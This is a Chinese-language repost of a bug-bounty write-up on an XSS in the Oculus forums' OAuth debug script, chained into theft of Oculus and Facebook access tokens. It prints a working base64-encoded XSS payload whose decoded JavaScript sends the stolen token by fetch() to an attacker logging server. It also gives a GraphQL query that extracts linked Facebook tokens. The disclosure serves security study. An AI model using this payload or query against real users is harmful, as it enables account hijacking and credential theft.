溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么利用Oculus網(wǎng)站XSS漏洞實(shí)現(xiàn)對(duì)Facebook和Oculus用戶的賬戶劫持

發(fā)布時(shí)間:2021-12-18 15:28:31 來(lái)源:億速云 閱讀:164 作者:柒染 欄目:安全技術(shù)

今天就跟大家聊聊有關(guān)怎么利用Oculus網(wǎng)站XSS漏洞實(shí)現(xiàn)對(duì)Facebook和Oculus用戶的賬戶劫持,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

漏洞細(xì)節(jié)

漏洞原因主要在于,Oculus論壇forums.oculusvr.com采用了oculus.com的認(rèn)證機(jī)制,該認(rèn)證機(jī)制使用了路徑https://graph.oculus.com/authenticate_web_application/來(lái)驗(yàn)證登錄用戶,之后會(huì)把用戶跳轉(zhuǎn)到https://forums.oculusvr.com/entry/oculus,跳轉(zhuǎn)后用戶攜帶了一個(gè)oculus訪問(wèn)令牌(access_token),且利用該訪問(wèn)令牌,可以有權(quán)限訪問(wèn)graph.oculus.com/graphql,并實(shí)現(xiàn)GraphQL查詢。因此,基于該GraphQL查詢,惡意用戶可以利用該功能實(shí)現(xiàn)對(duì)其他用戶的賬戶劫持。

由于論壇forums.oculus.com基于開源網(wǎng)站應(yīng)用Vanilla Forum搭建,本來(lái)不在Facebook漏洞獎(jiǎng)勵(lì)項(xiàng)目?jī)?nèi),但是,由于該漏洞存在Facebook論壇的身份驗(yàn)證機(jī)制中,且攻擊者無(wú)需創(chuàng)建新的論壇賬戶就能實(shí)現(xiàn)漏洞利用,因此之后Facebook也把該漏洞認(rèn)定為重要和有效。

從頁(yè)面https://forums.oculusvr.com/entry/oculus?中的源碼可以看到,其開啟了調(diào)試模式,并嵌入了以下JS腳本文件-https://forums.oculusvr.com/plugins/oculus/js/oculus-oauth.js,通過(guò)了解該JS文件,可知其中在state參數(shù)讀取時(shí)采用了document.write方法,如果把攻擊PAYLOAD賦值給state(#state=PAYLOAD),那會(huì)不會(huì)產(chǎn)生安全問(wèn)題呢?

請(qǐng)注意,盡管document.location也被傳遞給了document.write,但這里我們可以用其URL中涉及的“state”參數(shù)來(lái)加載攻擊測(cè)試的有效負(fù)載Payload,因?yàn)閐ocument.location最后會(huì)將帶有效負(fù)載Payload的URL編碼格式,之后,在decodeURIComponent 方法解碼hash片段提取“response”時(shí),“state”將會(huì)被解碼。

var oculusConnect = function(params) {
     if (typeof params === "undefined") {
         return;
     }
 if (typeof params.connect === "undefined") {
return;
 } 
var response = decodeURIComponent(document.location.hash);
var hash = response.substring(response.indexOf("#") + 1, response.indexOf("&")); 
var queryString = response.replace("#" + hash, ""); 
var queryStringSplit = queryString.split("&"); 
var state = getParam(queryStringSplit, "state"); 
var savedState = params.connect.savedState; 
var hashSplit = hash.split("="); 
var hashKey = hashSplit[0]; 
var hashValue = hashSplit[1]; 
var loginType = this.frameElement.id; 

if (params.connect.debug) {     
document.write("login type : " + loginType + 
";<br >document location:" + document.location + 
";<br >Saved State:" + savedState + 
";<br >State:" + state + 
";<br >Hash Key:" +  hashKey); 
}
...
#Passing parameters to oculusConnect function#
 document.addEventListener("DOMContentLoaded", function() {
        var params = {
            "connect":
                {
                    "debug" : "1" ,
                    "savedState": "G1H7LE7UOJ" ,
                    "authorizeUrl": "https://graph.oculus.com/authenticate_web_application" ,
                    "oculusHash": "X" ,
                    "associationKey": "OC|1238816349468370|" ,
                    "webAddress": "https://forums.oculusvr.com"
                }
        }
oculusConnect(params);

至此,代碼分析到這里,初步的感覺是可以從Payload中做手腳把它構(gòu)造成一個(gè)XSS,但是,如果認(rèn)真看其中的代碼可知,在document.write方法調(diào)用前還有代碼var loginType = this.frameElement.id;,所以這并不如我們所料,這里,如果按照我們之前的構(gòu)造將會(huì)返回錯(cuò)誤消息“TypeError: Cannot read property ‘id’ of null”,只有當(dāng)前這個(gè)頁(yè)面是框架化且與其父頁(yè)面是同源才能正確調(diào)用通過(guò)。為此,需要把論壇網(wǎng)站forums.oculusvr.com中的頁(yè)面https://forums.oculusvr.com/entry/oculus#state=payload 進(jìn)行框架化,然后把其框架化的URL鏈接發(fā)送給受害者,才能觸發(fā)漏洞。

開源網(wǎng)站應(yīng)用Vanilla Forums中的嵌入利用

經(jīng)分析發(fā)現(xiàn),開源網(wǎng)站應(yīng)用Vanilla Forums源碼中加載嵌入了一個(gè)白名單網(wǎng)站列表,如下:

public function unembedContent(string $content): string {
        if ($this->embedConfig->isYoutubuEnabled()) {
            $content = preg_replace(
                '`<iframe.*src="https?://.*youtubu\.com/embed/([a-z0-9_-]*)".*</iframe>`i',
                "\nhttps://www.youtubu.com/watch?v=$1\n",
                $content
            );
            $content = preg_replace(
                '`<object.*value="https?://.*youtubu\.com/v/([a-z0-9_-]*)[^"]*".*</object>`i',
                "\nhttps://www.youtubu.com/watch?v=$1\n",
                $content
            );

        }

        if ($this->embedConfig->isVimeoEnabled()) {
            $content = preg_replace(
                '`<iframe.*src="((https?)://.*vimeo\.com/video/([0-9]*))".*</iframe>`i',
                "\n$2://vimeo.com/$3\n",
                $content
            );
            $content = preg_replace(
                '`<object.*value="((https?)://.*vimeo\.com.*clip_id=([0-9]*)[^"]*)".*</object>`i',
                "\n$2://vimeo.com/$3\n",
                $content
            );
        }
        if ($this->embedConfig->isGettyEnabled()) {
            $content = preg_replace(
                '`<iframe.*src="(https?:)?//embed\.gettyimages\.com/embed/([\w=?&+-]*)" width="([\d]*)" height="([\d]*)".*</iframe>`i',
                "\nhttp://embed.gettyimages.com/$2/$3/$4\n",
                $content
            );
        }
        return $content;
    }
    private function getEmbedRegexes(): array {
        return [
            'YouTubu' => [
                'regex' => [
                    // Warning: Very long regex.
                    '/https?:\/\/(?:(?:www.)|(?:m.))?(?:(?:youtubu.com)|(?:youtu.be))\/(?:(?:playlist?)'
                    . '|(?:(?:watch\?v=)?(?P<videoId>[\w-]{11})))(?:\?|\&)?'
                    . '(?:list=(?P<listId>[\w-]*))?(?:t=(?:(?P<minutes>\d*)m)?(?P<seconds>\d*)s)?(?:#t=(?P<start>\d*))?/i'
                ],
            ],

            'Twitter' => [
                'regex' => ['/https?:\/\/(?:www\.)?twitter\.com\/(?:#!\/)?(?:[^\/]+)\/status(?:es)?\/([\d]+)/i'],
            ],
            'Vimeo' => [
                'regex' => ['/https?:\/\/(?:www\.)?vimeo\.com\/(?:channels\/[a-z0-9]+\/)?(\d+)/i'],
            ],
            'Vine' => [
                'regex' => ['/https?:\/\/(?:www\.)?vine\.co\/(?:v\/)?([\w]+)/i'],
            ],
            'Instagram' => [
                'regex' => ['/https?:\/\/(?:www\.)?instagr(?:\.am|am\.com)\/p\/([\w-]+)/i'],
            ],
            'Pinterest' => [
                'regex' => [
                    '/https?:\/\/(?:www\.)?pinterest\.com\/pin\/([\d]+)/i',
                    '/https?:\/\/(?:www\.)?pinterest\.ca\/pin\/([\d]+)/i',
                ],
            ],
            'Getty' => [
                'regex' => ['/https?:\/\/embed.gettyimages\.com\/([\w=?&;+-_]*)\/([\d]*)\/([\d]*)/i'],
            ],
            'Twitch' => [
                'regex' => ['/https?:\/\/(?:www\.)?twitch\.tv\/([\w]+)$/i'],
            ],
            'TwitchRecorded' => [
                'regex' => ['/https?:\/\/(?:www\.)?twitch\.tv\/videos\/(\w+)$/i'],
            ],
            'Soundcloud' => [
                'regex' => ['/https?:(?:www\.)?\/\/soundcloud\.com\/([\w=?&;+-_]*)\/([\w=?&;+-_]*)/i'],
            ],
            'Gifv' => [
                'regex' => ['/https?:\/\/i\.imgur\.com\/([a-z0-9]+)\.gifv/i'],
            ],
            'Wistia' => [
                'regex' => [
                    // Format1
                    '/https?:\/\/(?:[A-za-z0-9\-]+\.)?(?:wistia\.com|wi\.st)\/.*?'
                    . '\?wvideo=(?<videoID>([A-za-z0-9]+))(\?wtime=(?<time>((\d)+m)?((\d)+s)?))?/i',
                    // Format2

                    '/https?:\/\/([A-za-z0-9\-]+\.)?(wistia\.com|wi\.st)\/medias\/(?<videoID>[A-za-z0-9]+)'
                    . '(\?wtime=(?<time>((\d)+m)?((\d)+s)?))?/i',
                ],
            ],
        ];
    }
}

這其中的某個(gè)白名單網(wǎng)站存在一個(gè)漏洞,導(dǎo)致能讓我從Vanilla Forums嵌入頁(yè)面跳轉(zhuǎn)到https://forums.oculusvr.com/entry/oculus ,并實(shí)現(xiàn)最終的XSS Payload觸發(fā)。遺憾的是,由于該漏洞還未完全修復(fù),因此抱歉在此我不能公開該漏洞。

漏洞利用

用Oculus賬戶登錄forums.oculus.com網(wǎng)站,到“New Discussion”區(qū)域點(diǎn)擊“Toggle Html View“,然后添加進(jìn)Vanilla Forums中的漏洞利用Payload,這里原諒我做了隱藏處理。

<iframe src="https://REDACTED/REDACTED" />

之后,點(diǎn)擊“Preview” 和“Post Discussion”,將會(huì)創(chuàng)建一個(gè)包含REDACTED的框架化進(jìn)程,REDACTED中的框架化頁(yè)面會(huì)觸發(fā)跳轉(zhuǎn)至最終的XSS漏洞利用URL路徑。成型的可以竊取受害者access_token的XSS Payload如下:

https://forums.oculusvr.com/entry/oculus/#access_token=test&state=<script>
eval(atob("dmFyIGlmcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpZnJ
tLnNldEF0dHJpYnV0ZSgnaWQnLCAndGVzdCcpO2lmcm0uc2V0QXR0cmlidXRlKCdzcmMnLCAna
HR0cHM6Ly9ncmFwaC5vY3VsdXMuY29tL2F1dGhlbnRpY2F0ZV93ZWJfYXBwbGljYXRpb24/YWN
jZXNzX3Rva2VuPU9DJTdDMTIzODgxNjM0OTQ2ODM3MCU3QyZyZWRpcmVjdF91cmk9aHR0cHMlM
0ElMkYlMkZmb3J1bXMub2N1bHVzdnIuY29tJTJGZW50cnklMkZvY3VsdXMmc3RhdGU9VjFIVzl
TMkxHWiZtZXRob2Q9cG9zdCcpO2lmcm0ub25sb2FkID0gZnVuY3Rpb24oKXthbGVydChkb2N1b
WVudC5nZXRFbGVtZW50QnlJZCgndGVzdCcpLmNvbnRlbnRXaW5kb3cubG9jYXRpb24uaHJlZil
9O2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZybSk7"));</script>

由于Vanilla Forums中的漏洞利用Payload包含了太多類似=, &的字符,可能會(huì)對(duì)oculusConnect方法中的state參數(shù)提取產(chǎn)生干擾,因此我把其進(jìn)行了base64編碼,其原始形式為:

var ifrm = document.createElement('iframe');
ifrm.setAttribute('id', 'test');
ifrm.setAttribute('src', 'https://graph.oculus.com/authenticate_web_application?access_token=OC|1238816349468370|&redirect_uri=https://forums.oculusvr.com/entry/oculus&state=V1HW9S2LGZ&method=post');
ifrm.onload = function(){
       var token = document.getElementById('test').contentWindow.location.href;
       fetch("https://logging-server/log.php?x=" + token);
};
document.body.appendChild(ifrm);

此外,我還構(gòu)造了另外的一個(gè)框架化頁(yè)面,它會(huì)對(duì)https://graph.oculus.com/authenticate_web_application發(fā)起請(qǐng)求,然后攜帶用戶有效access_token執(zhí)行到https://forums.oculusvr.com/entry/oculus的跳轉(zhuǎn),由于該頁(yè)面中的iframe和其父頁(yè)面均為同源,因此我們可以訪問(wèn)其iframe界面并讀取其location.href屬性,最終可以把收集到的access_token信息發(fā)送到我們控制的服務(wù)器中。

對(duì)Oculus和Facebook用戶的賬戶劫持

從“Oculus Forums”頁(yè)面view-source:https://forums.oculusvr.com/entry/oculus源碼可知,其生成了一個(gè)應(yīng)用id-1238816349468370,并具備對(duì)https://graph.oculus.com/graphql的GraphQL查詢?cè)L問(wèn)權(quán)限。但是,賬戶劫持需要涉及到密碼更改、contactpoints添加或知曉用戶PIN碼,而且,該Oculus Forums的Web頁(yè)面也無(wú)法具備對(duì)Facebook綁定用戶access_token的讀取。不過(guò)之后,我從安全研究者JOSIP FRANJKOVI?的博客里發(fā)現(xiàn)了一種解決此困惑的技巧方法:

https://graph.oculus.com/graphql?access_token=VICTIM_TOKEN&method=post
&q=viewer(){linked_accounts_info{facebook_account{access_token}}}

但這里竊取的access_token不能實(shí)現(xiàn)真正意義的劫持,只能實(shí)現(xiàn)受害者的用戶信息讀取,以及受害者應(yīng)用和其所在組織機(jī)構(gòu)的更改。

幸運(yùn)的是,最終我發(fā)現(xiàn)了第三個(gè)勁爆漏洞,利用其可以把竊取的用戶令牌access_token升級(jí)成另一個(gè)應(yīng)用身份( WWW 752908224809889 ),并能繞過(guò)應(yīng)用身份限制,去讀取Facebook綁定用戶的access_token以實(shí)現(xiàn)Facebook用戶賬戶劫持,或用該Facebook綁定用戶的access_token訪問(wèn)https://graph.oculus.com/fbauth去登錄關(guān)聯(lián)的Oculus賬戶。

看完上述內(nèi)容,你們對(duì)怎么利用Oculus網(wǎng)站XSS漏洞實(shí)現(xiàn)對(duì)Facebook和Oculus用戶的賬戶劫持有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI